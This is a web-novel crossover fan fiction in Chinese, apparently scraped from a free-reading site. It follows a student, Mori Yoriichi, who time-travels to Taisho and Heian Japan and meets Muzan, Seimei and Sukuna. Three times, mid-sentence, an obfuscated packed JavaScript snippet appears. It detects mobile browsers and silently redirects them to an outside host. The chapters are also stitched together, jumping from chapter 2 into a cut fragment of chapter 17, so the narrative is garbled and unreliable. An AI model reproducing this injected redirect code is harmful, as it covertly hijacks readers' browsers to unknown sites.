《爱穿越的森缘一》 1. 第 1 章 《爱穿越的森缘一》全本免费阅读 「医生敬启: 我在学校过得很好,无需担心。生活费有剩下,下次汇款不用给我那么多。 by缘一」 写完这短短的两行,我便按下了发送键。等发完短信,我就把手机交还给了老师。 校长:“没关系没关系,多聊会儿也没关系。” “不用了,谢谢您。”我对电子设备并没有多少留恋,而且根据课表,还有十分钟我就要去剑道部进行社团活动了。慢吞吞走过去的话,路程要花十五分钟,赶时间的话,他倒可以跑一下。 产屋敷耀哉校长面带微笑地看着我。 校长是一个为人和善、处事大方的人,唯一的缺点是他的身体不太好。好在现在医学很发达,经过多年的治疗,他现在只是身子骨比较脆而已。 如果有可能的话,真想分一点健康给校长先生。 “老师再见。”还完手机之后,我朝对方挥挥手,加快脚步朝社团走去。 剑道部的位置在于体育中心的第二个房间,要到达那里,就要穿过樱花小道和跑道。两条路都是砂石填充的,所以踩上去十分硌脚。我刚到操场,就看见历史老师炼狱杏寿郎正在跑步。他是一位运动细胞格外发达的老师,也不知道为什么担任的职位是历史老师而不是体育老师。 说起体育老师……他在同学们眼中简直是个魔鬼。 “缘一!”远远地,我就看见炭治郎了,他后头跟着妹妹,一路小跑过来。 炭治郎同我一样都是剑道部的学生,一开始的时候,他和妹妹祢豆子都是回家社的,可惜回家社人满为患,只好移交一些同学。 “下午好,炭治郎。”我看了看手表,还有四分钟就开始报道了。 可炭治郎却说,今天的社团活动临时改时间了。 “手机上刚刚通知的。” “这样啊。”此时,我又思考了一下手机的重要性。其实之前院长也有给我买过手机,但不知道为什么,好像通讯设备和我有仇一样,每次用它都会出一些不大不小的故障。再加上平日里我也没有什么上网的需求,索性就没再带了,需要的时候就近找人借一下就好了。今天是因为路过校长室的时候想起来到时间要给家里发一下消息,所以才借了手机。 我可能是有些苦恼吧,我是寄宿生,平时每天都会趁社团活动的时候在场地里练习。但今天活动取消的话,场馆一定没开放,那我就只能回宿舍了。 炭治郎却告诉了我一个好消息,“不过我看到场馆门开着,可能是上一个使用的人忘记把钥匙拔走了,我们只要用完把钥匙还回去就行了。” 祢豆子妹妹点点头。 我觉得他说得也有理。 负责管理钥匙的人是体育老师富冈义勇,但他现在不在办公室,也不知道到哪里取了钱。 炭治郎给对方发了消息,得到了[ー_ー]这样一个回复。 “这到底算是同意还是不同意呢?” 以我对体育老师的了解,这应该就是“同意”了。 …… …… 鬼灭学园是位于东京的一所独立院校,包含小学、国中、高中三部分,所以占地面积特别大,但与之相对的,招生却额外少。我如今就读于一年级的紫阳花班,炭治郎是隔壁笋班的,祢豆子妹妹则是在初中部的芋头班。 我出生——我是被横滨的一位医生抚养的,我的父母是谁,又为何把我丢弃在孤儿院门口……对于我来说,依然是个未知数。 抚养我的医生叫做森鸥外,从去年开始,他兼任孤儿院院长。那是一所已经废弃了有几年的名为“爱福”的福利院,自那以后,他就变得忙碌不少。加上我正好要升学,为了减少对院长造成的麻烦,我主动请缨到东京这边来读书。 接收我申请的人竟然是学园的校长——产屋敷耀哉,明明只是第一次见面,我却冥冥之中有一种熟悉的感觉。 我认识的奶奶说,有的人会在脑子里留住前世的记忆,而我竟然也是个相信前世种种的迷信之人。我想,哪怕不是相交过甚的友人,在前世,或是前前前世,我们至少擦肩而过过。 我对过去似乎存在着一些幻想,而这其中的原因,我也并未知晓。 训练室里有一股经久不散的汗水的腥臭味。 炭治郎从仓库里拿来竹刀的时间,我才刚刚在使用/借物表上签上我们俩的名字。 炭治郎家是开面包店的,他每天早上四点钟会做好整整一千个面包,光是听闻便觉得“惊悚”。不同于精力满满的哥哥,祢豆子妹妹反而每天都睡不醒。 或许是因为年纪早早就锻炼得十分强健的缘故,体力和力量这一块是没得说的。 炭治郎偶尔会和我对练。 与被调剂到剑道部的炭治郎不同,我与剑术的缘分,不知从何而起。 我是个自出生起就不怎么会表达想法愚笨的孩子,在别人玩乐的大部分时光里,我都独自一人在房间里发呆。领养我的医生平日里都很忙碌,他不是在救治病人,就是在读书。 他一直在读书,读很多很多的的书,治理国家的方法,兵法,医学类的解剖与用药…… 他看上去充满了雄心壮志。 我偶尔也会跟医生一起看书,年幼时的我看不懂过于晦涩的文字,医生偶尔会讲给我听。有的时候,他也会讲一些故事书,我仍然记得,有一个故事中讲道,一个女人从迷雾中来,她赤身果体,穿越了大河与荒川,来到了人潮汹涌的新世界。可她发现自己与众人的格格不入,最终绝望地从桥上跳河自杀了。 她可能是从古时来的人,可能是魔女,也有可能是长出双腿的小美人鱼,但是死亡吞没人时的姿态竟然出奇的一致。 这真是个令人不知滋味的故事。 接着,医生又将这个没头没尾的故事讲给另外的孩子听。虽然只是相处了两年,我仍然记得那个比我年长的哥哥的名字。在一个人的时候,他总是摆出一副忧郁的、阴雨一般的面貌。 我听说,他是议员家的独生子,但家破人亡,只剩下他和一个已经嫁人搬离了这座城市的表姐。 他和我一样无依无靠,我有时想和他说说话,却总是把握不好分寸,惹人讨厌。 我的笨嘴,真希望有人能够教教我如何改变。 炭治郎和我不同,他不仅心地善良,而且有一双真诚的眼睛。美术老师说过眼睛是心灵的窗户,你只要去看他的双眼,你就知道他的诚实比宝石更宝贵。 我握紧了竹刀,它的份量一点也不重,但打起人来依然很痛。正式场合下,我们都需 2. 第 2 章 《爱穿越的森缘一》全本免费阅读 我应该是穿越了。 好不容易离开森林,走到城区,我才意识到了这一点。我没有看到高楼大厦,没有看到林立的线路,这边的商铺很矮平,电灯也不太明亮。路上有很多男人穿着全套旧式西服,女人们大多都是和服,也有穿着洋装的。年轻的少女们则都是一副大正风的打扮——即头顶蝴蝶结,小袖上衣配着方便行动的下袴裙。 在询问过商铺的主人之后,我这才真正地意识到——我穿越了的这个事实。 明明只是打开训练场的大门,难道是有人在上面偷偷附了魔吗? 鬼灭学园和其它学校一样,有着诸多不可思议传说。比如说每到深夜,走廊上就会出现一个一边嘟囔一边爬行的鬼老人,比如说,仓库里的精品壶里藏着一个会吃人的“艺术之神”。 除了鬼怪的传说,还有老师和学生的传说。插花社的老师蝴蝶香奈惠据说会阴阳术,班主任悲鸣屿行冥则懂得驱魔。 连我这样的人都拥有特殊的眼睛,大家深藏不漏也不是什么难以理解的事情。 我大概能够理解这种“奇事”的发生,但是怎么处理,我该如何回去,真叫人摸不着头脑。我对时间空间这方面的理解并不深刻,甚至是知之甚少。 而且我意识到十分重要的一点……我身上的钱用不掉,我无法在这里购买食物,得到住宿 在这陌生的街道上晃了好几圈,我却依然无处可去。好在有位善良的荞麦店老板以为我是离家出走的学生(我每天都是穿着短袖校服),留我下来吃了一碗荞麦面。 有轨列车从我身旁缓缓驶过,每一节铁皮车厢上都有一个方形的窗口。 真神奇,我只在历史书上看过这样的图片。 吃完荞麦面后,我又无处可去了。在没办法回学校之前,我得找个什么地方过夜。 说来惭愧,我对生活技能一窍不通,脑袋里空空如也。收养我的医生虽然干的活不是很光明,在衣食住行上,从未苛待过我。我只在学校的节日社团上打过工,赚钱的方式也一知半解。 漫无目的地走在这陌生时代的大道上,我总觉得自己像个格格不入的过客。 或许是太过关注这些对我来说陌生的事物,一不小心间,我擦到了旁人的胳膊。 “不好意思。”我脱口而出,仰头(那真是个高个子)去看与自己擦肩的路人,对方有着一头少见的白橡色头发,眼珠在灯光下则呈现斑斓的色彩。男人挥动着自己手里的扇子,带着玩世不恭的笑容,“没事~” 见到对方的面孔,我心中却生出异样的感觉,我身边也有长相相似的人,但我的紧张并非是因为对方轻佻的态度,透过表面的皮肤,我看到他分布过多的骨骼,他的血液竟然没有流动,保持着一股凝固的姿态,像实验室器皿中的血浆。 我没忍住好奇地打量对方离开的背影,他的模样分明与普通人一模一样(顶多是有些特殊),可他的内里却大不相同。我的鼻子也算是灵敏,只是相撞,我便闻到一股浓重的气味。 我曾经在医生的诊所里闻到过很多次那样的味道。 那分明是血。 …… …… 似乎是笃定我是个不懂人情、无比麻木的孩子,很多时候,医生都不会避开我做什么。他主动给人治病,被逼迫着给人治疗,以及用手术刀杀掉某些人。 有史以来我第一次感到恶心,我的胃里有一块沉甸甸的黑石头,它的上面长满了菌虫,侵蚀着我的五脏六腑。可我又觉得很无奈,努力翻过诊所的围墙,却看到相似的场景。 战争频发的年代里,无论哪里都没有纯洁的笑声。 “小缘啊。”被丢弃在孤儿院的我被院长取了“缘一”这个名字,意为和他人结下缘分的人,收养我的医生有时候会叫我的全名,有时候会叫我小缘。 医生眯起眼睛,眼角已经有淡淡的鱼尾纹。他看起来很年轻,有时候又苍老得像个老年人。 “这是不可避免的事情。” 这是无法避免的事情。这个答案时常摇晃着我的内心,我本就是没有找到追求、不知道自己该走向何方的断线的风筝,面对医生给我的答案,我只好保持观望。 医生的诊所里,时不时会出现“不可避免的问题”,我就是在那些时间里记住了血的味道。 他会是连环杀手吗?我忍不住猜测。但猜测永远只能存在脑海中,我决定一探究竟。 我并不是那种会对异样置之不理的人,随即,我跟上对方的脚步。 这或许会被人当做是变态跟踪狂的行为,我打心底起觉得抱歉。 那身材高挑、模样突出的男人似乎是察觉到了我的跟踪,他变了方向,离开了人群,走进了小巷之中。 我低头看了看自己背上用布包着的竹刀,我或许不该往里走过去。成年人比我有更多方面的优势,而且我并不清楚他到底是怎样的人。 时间的流速一下子慢了下来。 今夜月光明亮,大如圆盘。可深巷依然黑悄悄的,也不知道到底藏了几只野猫。 我倾听着夜风带来的一切声响。 窸窣,窸窣。 在过去,勇敢是一种受人称赞的美德。 我向前走去,可此时巷子里只剩下余留的血腥味,那个怪异的男子已经从这里消失不见。 墙壁很高,但也并不是上不去。可任何的踩踏都会有声音,我不可能听不到那样的声响。 那名男子就这样悄然离开了。在四处搜寻了一番之后,我也并无发现更多的内容,只好就此作罢。 当我拉开一道破损的纸门的时候,意想不到的事情发生了。 上一秒还在异时代的我,下一秒便回到了学校的训练馆。 天空的颜色已经不明媚了,目测时间过去了两小时左右。我的手里还拿着竹刀与钥匙,尚未归还。 除了黑夜,还有别的东西带来了阴影。 既是体育老师,同时兼任生活指导老师的富冈老师正严厉地盯着我。他扛着一把竹刀,而他个人平时最常见的一幕便是拿着竹刀追各种犯错的学生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11559559|122877||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一个小小的铁制品,银底红边。 “这是什么?” 上面写着一个本正的“森”字。 我没想到竟然把铭牌塞进了包里,可能是我上次换校服的时候掉下来的。 “是我在学校的铭牌。” “学校?”无惨的音调稍微提高了些,“那这个字是?” “森”是我的姓氏。 “我从来没有听说过这种姓……平民……是没有姓氏的。”他说这话时有些森冷,好像受到了欺骗。 “你也别钻牛角尖了。”我觉得他真的是容易想太多,我有姓氏不是因为我是贵族,而是我在的时代人人都有自己的姓名。 “什么叫我钻牛角尖?!”听到这话,他神情剧变,竟是被我气到了。他稍微一恼火就开始止不住地咳嗽,我想我应当是做错了。 虽然帮他拍了好一会儿后背,但无惨的喉咙里仍然有那种嗡嗡的声音。气管太纤细了,这是生来的。 无惨沉默了会儿,恶狠狠道:“总有一天我要把你的嘴给撕了!” 看来我真的伤到他的心了。 …… 柿饼很好吃,表面上涂着糖霜的柿饼更是如此。 阿鱼很爱吃柿饼,一个转眼,她就吃了一碟,结果当天晚上就腹胀到无法安睡。 “下次别吃这么多了。” 阿鱼抽泣着,我估计她下次还要吃这么多。 冬去春来,米粒似的小野花生长在四面八方。枝头上的淡绿色嫩芽努力地往外伸长,连我的头发都像是吃了生长素一般疯长。 我的短发其实与众人格格不入,我也听闻别人在后头嚼舌根,说我是贱籍出生,所以模样才不体面。 这时候,大家都秉持着唐来的思想,身体发肤受之父母,不能随意剪发。月代头出现,已经是平安时代快要结束的时候了。 现在长长了一些,确实没以前那么难办了。 但我的头发很不好打理,短发时还好,看着很是蓬松,不贴头皮,但一旦长长,它就不可控了。 “红头发妖怪!”阿鱼哈哈大笑,我也十分郁闷,但这是无法避免的事情。我用过许多大家推荐的洗发精油,但对于我头发上的“老顽固”,没有丝毫的用处。 我一直留短发也有这个原因在里面。 不费一丝一毫之力,就获得了时髦的红色大波浪。 真,好。 我的大波浪,无惨见了都哈哈大笑。 “真是滑稽得要死。”他侧坐着,乌黑的长发笔直顺滑地垂着,真是叫人艳羡至极。 “反正呢,你就认命吧。”他的笑容中带着几丝狡黠,看着格外生动。 ——竟然是在嘲笑我的头发这回事上。 好失落。 我把头发扎了起来,晴明送了我一条有红色装饰结的黄色水引作为礼物。 但在一星期后,这条水引就消失不见了。 “丢了条发绳而已,干嘛那副样子。”在家中时,无惨总是散着长发,只有外出时才会束发。 “但那是晴明送给我的。” 无惨看起来毫不在意。 “这算什么礼物?” 18. 第 18 章 无惨对晴明送给我的黄色水引不屑一顾,但东西已经丢了,无论说些什么都没有用了。 毕竟是一件礼物,所以我和晴明道了歉。 “说不定你要忘记它的时候,它就会出现了。” 时常有这样的事。 我有过一把木梳,每一天都放在镜子边上,某一天就消失不见了。但是去年在整理卫生间的时候,我发现它掉在了第二层的橱柜里。 …… 长保年,藤原家的彰子小姐成为了天皇的妃子。甫一进入内宫,就受到了陛下的非凡宠爱,她的父亲藤原道长也日日红光满面。 这是我来到这个世界的第二年。 去年的冬天结束之后,神秘的大门突然不再为我打开了。 阿鱼在年初辞去了在晴明府上的工作,在附近的一家渔场里工作。 她出生自渔村,对于她来说,这地确实最容易适应的工作。 渔场的老板和渔民的关系不错,直接雇佣了他们为自己工作。每天凌晨这些新鲜的鱼类就会被送到渔场,经过挑拣之后,再送到客人那里去。 我也不能总占晴明的便宜,我基本上是在包吃包住。 这多尴尬啊,而且他并不需要我为他做些什么。式神们会做好一切,而我和阿鱼只是从人家的手上捡一些东西做而已。 阿鱼离开了之后,我再腆着脸呆在人家府上,实在是叫人不好意思。 ——于是我换了一户人家打工。 “不知道为什么,真是叫人心里不爽。”我的新任上司——贺茂无惨,他敛下眼睫,好像思索到了结果。 “应该没有很糟心吧。”我犹豫了一下,在未来和当前之中挣扎了两秒钟,“如果不行的话,我再去想想办法。” 他没拒绝。 为保险起见,我又问了一句。 “那我真的不走了?” 无惨的眉头跳了一下,“再说就滚出去。” …… 我依然有很多不懂的事情。 但我会学着去接受。 就像接受冬去春来、四季流转一样。 可四季流转中,门却关上了。 它为何不打开?是坏了,还是时间还没到。 我怀着虔诚的想法去拜访本世纪最伟大阴阳师之一——安倍晴明。过了一年,他还是如此……嗯……青春靓丽,甚是风流。 “时空如此玄妙,一不小心就会落入其中的陷阱。至今为止,我也没有操纵过时空。”晴明敲了敲扇柄,“或许,你可以问问伊势神宫的苑子宫主。” “我听说她被天皇罚了官职,已经不是斋王了。” 晴明唇角笑意微凝,“许久不见,我倒是忘了。” “世界上有凡人,也有真人,她是后者。” “什么样的人才是真人呢?” 晴明却拿扇子敲了我的额头,“这种事情要你自己去想。” …… 我花了五天的时间到达了伊势神宫。其实加快进程的话,我早就到了。 我只是在思考。 思考是一个伟大的过程。 想来想去,林中的清风缓缓拂过,我闻到了池水上淡淡的腐臭,我顿时忘了我的思想。 让我去思考一件事情的深度显然是有些强人所难。 如果人生能像晒太阳那样轻松就好了。 我身上似乎还背负着考上大学的希望。 神宫今日似乎有活动,我看见信众们络绎不绝地从神道上走过。我听见某对夫妇说他们是从遥远的村庄专门赶过来的,正是为了获得天照女神的照拂。 伊势神宫供奉的正是这个国家的开拓者——天照大神,她是所有神明、所有人类的起点。 我混在人堆里进入了神宫,大家的目的地都是祭台。等候了一会儿后,一群神官和巫女从正殿缓缓,让人挑不出一丝毛病。 所有人都穿着白色的神职装束,女性神官的头发上都没有任何饰品。 我没有在人群中望见我想找的人,便趁神官们在进行神乐的时候偷偷从祭台边上溜走了。 可我确实不知道苑子在哪里。 好巧不巧的,在我四处寻找的时候,竟然遇到了上次有过一面之缘的权弥宜。 我还未开口呢,对方便以高傲的口气说:“苑子大人说的果真不错,你将会于今日来访。”他那高高在上的态度比无惨更甚,而且他是一个真正的大人,所以我很难生出好感来。 这位权弥宜虽然很不乐意,但我猜想应该是苑子提前打点过他了,神官直接为我指引了对方所在的位置。 在后殿。 我控制着自己的脚步,不想制造太多的噪音,打破自己的情境。 权弥宜在我后头又冷冰冰地来了一句,“记住了!不允许你亵渎她!” 他竟然如此尊重那位曾经的斋王,晴明也对她评价颇高。 对方究竟是一个怎样的人呢? 后边有一棵巨大的梧桐树,它的宽度完全超乎了我的想象,说不定有十抱粗。 与华丽的宫墙相比,我反倒认为这颗梧桐带给我的震撼更多。它所历经的所有时光,完完全全的展现在树木的体貌上。 黑发的巫女仰头望着它,眼里充满了崇敬。 “我八岁那年来到这里的时候,这棵梧桐木就已经有这么高了。”她的声音如潺潺流水,而历史则在流水中缓缓流淌。 巫女的模样较之前分明看得出年岁渐长,但这不过是过了一年而已。 我不由得感到惊讶,因为我发觉她老去的实在有些太快了。 因为心有所求,所以我表现的十分恭敬。 “其实我这次来,是听了晴明的建议。” 为何我回不去了?为何我停留在这个时代? 一片梧桐叶离开了大树,飘落至她的衣裙上。 “或许,你的使命还没有完成。” 使命,命运,这些玄而又玄的东西,其实我无法理解。 我始终觉得当一个人认为自己负有了使命之后,他人生的一切都要为了想达到这个目标而奔逃。而拥有使命的人,往往不是一般人。 “我肩负使命,所以我成为了伊势神宫的斋王。”苑子感慨道,“我从天咫镜里看到了未来,再过不久,将有一场大劫。” “我听说天咫镜碎了。”正是这个神器的破裂,才导致了天皇大发雷霆。 苑子抚摸着手边的一根枯枝——多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11559560|122877||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了两眼,我才发现那并不是树木,而是一种铁制品。 像是一把剑的剑柄。它的本体横插在梧桐树下的泥土中,满身锈迹,肮脏不堪。 她笑着摇了摇头,“那一点也不重要。” 巫女像母亲招呼孩子那样喊我到殿中,正厅中有着一尊巨大的天照女神雕像,而后殿则放着一尊神职人员们平日供奉用的小雕塑。 苑子朝着神像叩拜,我也跟着朝拜了一次。 殿中只有香火燃烧的声音,火花在烛焰旁噼里啪啦地闪动着。 苑子合掌,面容宁静。 “八岁那年,我在那些画面里看到了你,我心想,在未来总有一天会遇见你。” 八岁入宫,无惨年幼时曾见过她……那岂不是大不了我多少。 巫女似乎是看穿了我内心的想法,边用讲打破了八咫镜那件事一样的口气说:“年龄这种事情也不重要。” 我不知道自己在对方的预言里承担着一个怎样的角色,只好继续倾听着。 可巫女却说:“眼见不一定为实,未来之所以是未来,因为它充满了不确定性。” 我仍然感觉自己像是背负上了一些未知的责任。 苑子背对着我,“但我想,也许那就是与你使命有关的东西。” 额头猛地疼痛了起来。 似乎所有的神经都被人活生生地挑了起来。 断断续续,反反复复。 我随手一摸,竟然摸到满手的血。 苑子眼中含有一种长辈对幼子的爱怜,我打开眼皮看到的就是她黑色的双眸。她用手绢轻轻擦拭着我额头上的鲜血,我没有拒绝,只是轻声向她道谢。 “梧桐下面有一把刀。” 原来那是一把刀。 “到时候你就过来拿吧。” 刀,除了礼器外,都是伤人的。 “希望你一路平安顺遂。” 我被“请”出了伊势神宫,回去的时候带上了一个新的伤口。 那个伤口本来是替画师阻挡冰晶的时候造成的,伤疤并没有消失,而是在额头上留下了一道白色的瘢痕。 而现在,一片红色的火焰纹路从白色伤疤往外蔓延,就像苑子巫女那样。 摸了摸,它还有些发烫。 我回到贺茂府的时候,荣子吓到了。那时候我的伤口还在往外流血,虽然我临时用纱布包裹了一下,但依然血流不止。 荣子在得到首肯后,在我的伤口上用了止血药,但止血药的效果并不大。 那两位双胞胎模样的内侍笃定道:“这是诅咒。” 另一人说:“简直和曾经的苑子斋王一样。” 而我确实去见了她。可她的语气,她的神情,压根不像是那回事。 两名内侍认为我是小孩子脾气,比起听专业人士的建议,更相信自己。 我头一回被两个人一同指责。 大概是受不了院子内吵闹的环境,无惨所在的屋子内砸出一个小碗来——此时他正在用下午的饭食,“全都给我闭嘴!”说这话的时候,他已经站在门槛那了,眼珠瞪得比平时都大,看着有些毛骨悚然。 他指着两名喋喋不休的巫女,“马上从我面前消失。” 19. 第 19 章 那天以后我竟然病倒了,如果我没有记错的话,这是我十六年来第一次生这种程度的病。 但它可以说是“病”吗?我的额头上有了一个不停流血的伤疤,它让我感到疼痛与茫然,我甚至产生了幻觉,看到无惨的脸停在我上方。 但绝对是幻觉,毕竟无惨才十四岁,而我看到的他已经是个成年人了。神情冷酷,皮肤苍白,看着像是个吸血鬼。 幻觉像潮水一样滚来,一层又一层,都叠成千层面了。这种梦一样的东西,下一秒就忘却了大半。 这一“病”就是七天。 我还是头一次体验到这种歪歪扭扭的感觉。 无惨的观点和两个内侍的观点差不多,认为这都是苑子巫女的问题。 “反正没有人相信她。自从她担任斋王之后,所谓的神迹一次都没有降临过。” 我读出其中的不对,“你不是不信神的吗?”无惨说过,哪怕祈祷也没有得到过任何答案,所以这个世界上神是不存在的。 天脸上吃惊转眼间闪过,很快化为平日里的高傲姿态,“是么。”他声音低沉,话里也没有否定,“我不信,不代表没有。” 猫突然从外面跑了进来,毛绒绒的白色皮毛上沾着几片粉色的樱花。 猫的名字叫做“小雪”,是上个月跑到府里来的。当时它的右肢被什么东西割伤了,从一个小墙洞里钻了进来,有个很怕猫的侍从发现了它,想要赶走猫,但是猫却跑到了我住的地方。 小雪不怕我,宝仔也不怕我,所以我没费多少力气就抓住了它。被我抓到的时候,猫还在喵喵叫,听上去是在向我求助。 无惨讨厌一切的动物,他认为这些不通灵智的动物只会打乱他平静的生活。 治好右肢上的伤之后,我就把猫放出去了。但她太小,太灵活,总是能从各种各样的地方跑进来,围墙上的灰尘里尽是它的小小脚印。 因为不是人家养的猫,所以我私自给猫取了个名字:小雪,猫的皮毛雪白得如同白雪。 无惨见到猫就像是见了跳蚤,躲都不及时。但小雪对他却没有兴趣,他们两个之间根本不来电。 小雪在各种道路上跑来跑去,它的活力好像永远都用不完。四月到了,全城的樱花都开了,有的小如白豆,有的大得能压低枝头。 猫跑过边上长满樱花树的道路,花瓣悉悉索索地落在它柔软的皮毛上,看着很是可爱。 对贵族们来说,花开了,自然要赏花,赏花是一件极具风雅的事情。 可对于无惨来说,这个季节很让人感到苦闷。无论是细小的花瓣还是花粉,都是他生来的仇人。无法呼吸,无法喘气,在这些樱花盛开的日子里,他只能把自己房间的门窗都紧紧关上。 他似乎有些花粉过敏。 我身边的同学里有对芒果过敏的,有对海鲜过敏的,还有对淀粉过敏的。对待入口的过敏原,大家都会选择远离它,而对于那些来自外界的粉尘、絮状物,过敏人士不得不长期戴着口罩。 口罩的制作算是轻松,虽然不是医学领域发行的口罩,还有些粗糙,但用来抵挡花粉也足够了。但难倒无惨的并不是做工,而是他的自尊心。 他认为这太丑了。 很快,为了各种各样的原因,天皇在宫中举办了花宴节,顾名思义就是赏樱的典礼。受到邀请的贵族们都需要前往,无惨本来打算以“物忌”推脱这回事,但这回他的父亲贺茂真家也将出席,思虑再三后,他便也打算出场这次的花宴节。 无惨的父亲贺茂真家,我从很多人口中都听说了他的存在,但到现在这个四月,我还一次都没有见过对方的真面目。我知道他是一位阴阳师,道子夫人的丈夫,无惨的父亲,这座宅邸的主人,可这么久过去了,我却从未见过他。 无惨表现的并不在意,“那家伙再外面有了别的情人,别的孩子,不想回来而已。” 贵族们并不认为出轨是有罪的,相反的,留情这回事很是流行。 无惨告诉我,那个情人是左京大进家的女儿。 “怪不得我从来没见过他。” 无惨对他的父亲没什么感情,甚至扬言希望这家伙早死早超生,让他继承家产。 花宴节当日一早无惨就起身梳洗了,那些梳弄用的香气闻了让人头晕。 我是要陪同入宫的,不过不用出现在现场,所以只是换了一身干净的衣服。 自从换了一家人打工,我的生活品质得到了显著的提升。晴明他动不动就来无影去无踪,对于吃食、衣裳也没有太大的需求,我甚至怀疑他会用阴阳术骗过别人的眼睛,所以衣柜里的素衫特别多。 与我们一起入宫的还有去年天皇赐下的两名内侍,多日不见,那两位巫女依旧是原先的模样,走起路来都像是仙女走路,仙气飘飘的。 现在我也有些理解无惨了,他不想要这两名内侍,但没有办法拒绝天皇的恩赐,所以只能把二人安置在自己府中。 在入宫的途中,我们与泉子女使擦肩而过。过了个年,她看起来丰腴了不少,伙食大概不错吧。她依然懒洋洋的,身边的那种氛围令人欣喜。 在入殿前,无惨对我说:“别乱跑,否则掉了脑袋我可救不了你。”无惨本身是没有官职的,仰仗的是他父母的官阶。 我点头应是,和其他人一起在殿外休息。我见到不少贵公子入殿,来得时候便有一阵阵香风,也不知道身上到底涂了几斤重的香粉。 无惨可要遭殃了。 在等候的时间里,有一个系着淡黄色缎带的女孩向我攀谈,问我是哪家的侍从。听说了贺茂无惨这个名字后,她看我的眼神显然不对劲了起来,看着像是在可怜我。之前,荣子的眼神也是这样的,看来无惨实在是“威名远扬”。 殿外是没有任何吃食和茶水的,所有人只能在这里干熬时间。我默默地听着其他人在聊天,聊天果然是人生的一大乐趣。什么夫人发怒砍了丈夫两刀,少爷在太夫人的茶水里下毒了云云云云。我还听到一个较为特殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11559561|122877||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故事,近来,一些贵族夫人们之间有一个神秘的茶会,茶会过后,那些夫人变得不一样了。 “我说真的啊!”少纳言家夫人的贴身使女掩着嘴唇,把声音压得很低,大家的兴趣也被她提起来了。 “我们夫人呢,最近变得越来越年轻了呢。” 是不是在用珍珠粉呢,或是别的什么?各个时代都有流行的“化妆品”,但依照目前的技术,都不能多用,否则可能会在身体上出岔子。 我探过身子,正想问问她呢,一阵石落般的巨大动静让木板都震动了起来,好多人都以为地震了,起身正要远离建筑物。 但并不是地震,而是一位真正意义上的大人物出场了。 两面宿傩,这个体重说不定有三百斤、身高超过两米的巨人——这时候大家的身材都不高大,更是被他比得像个小矮人一样。 他每一个步子都迈得很大,里梅则跟在后头小步子地走着,但完全没有落下。 “是他!”其他人交头接耳,他的外形就占其中走得远远的。 宿傩在京都的名声并不好,他的外形足以吓退大多数人。而且他在传闻中行事诡谲,手段残忍,你上一秒还在和他说话,下一秒说不定就成了他的手下亡魂。 他们从我身边走过的时候,停下了脚步。 “喂,白鸡蛋。”他又喊这个外号,我到底哪里像是白鸡蛋了啊。 “你的雇主死了,你好像并不是很在意啊。” 他说的是万啊。 我早觉得,像万这样不停地去招惹一个对她不感兴趣且手段残忍的人,迟早会出事情的。 我觉得谈这个没有意义。 “花宴节已经开始了,就这么进去没关系吗?” 天皇这时候说不定已经喝上了,他应当不是那么和蔼的人。 “难不成他还能砍我们的头?”里梅闻言,脸上傲色尽显,直接代替宿傩回答。 看来他们是真的没有被所谓的天皇的威严威慑到。 眼见主仆二人大摇大摆地进了殿中,其他人竟然围了上来。 “哇,你就这样不用敬语跟他说话吗?” “我听说他会当场杀人呢!” “你之前是跟哪家的呀?” “你们认识吗?” 大家的好奇心有点太重了吧。 我没说太多,主要我俩确实不怎么熟。在我的印象里,还没有见过他的杀戮。 旋即,又有人问了一个关键性的问题。 “刚才那个白头发的,是女人还是男人啊?” 里梅的长相太具有欺骗性了,如果不是因为我看得到,我也会以为他是女人呢。 我闭了闭眼睛。 “是男人。” 是男人呢。 哎,长那么好看竟然是男人。 我可听见了不少人的唏嘘声,又是见色眼开是吧。 人家不仅长相秀丽,而且实力强筋,是男人亦或是女人都没有差别。 20. 第 20 章 宴会持续了一个时辰,等的我连地上的蚂蚁家在何处都找到了,参宴的贵族们才慢慢地从殿中离开。无惨走在大部队的最后面,一直用袖子掩着口鼻,脸色并不是很好看。 我扶住他的手臂,他的皮肤有些冷冷的,温度比平日还要低一些。 无惨低低地咳嗽着,直到回到了牛车里,他把身上的外衣一股脑地脱了下来,十分嫌弃并打算丢出去。 “这么好的衣服……”我捏过一页衣角闻了闻,闻到一股难以言喻的、格外熏人的气味。 这是什么味道啊…… 忍了许久,无惨终于开始抱怨了,“那家伙竟然敢把酒倒在我的衣服上!不长眼的东西!” 他在殿内肯定特别憋屈,那里一个两个都是高官,受到天皇宠爱,他想提点什么肯定也说不出口,一不小心就会被定罪。 也就只能在自己人面前发发脾气了。 我还没有喝过酒呢,这衣服上的酒味也太冲了。 “直接扔掉也太浪费了。” 洗洗完再穿应该是没问题的。 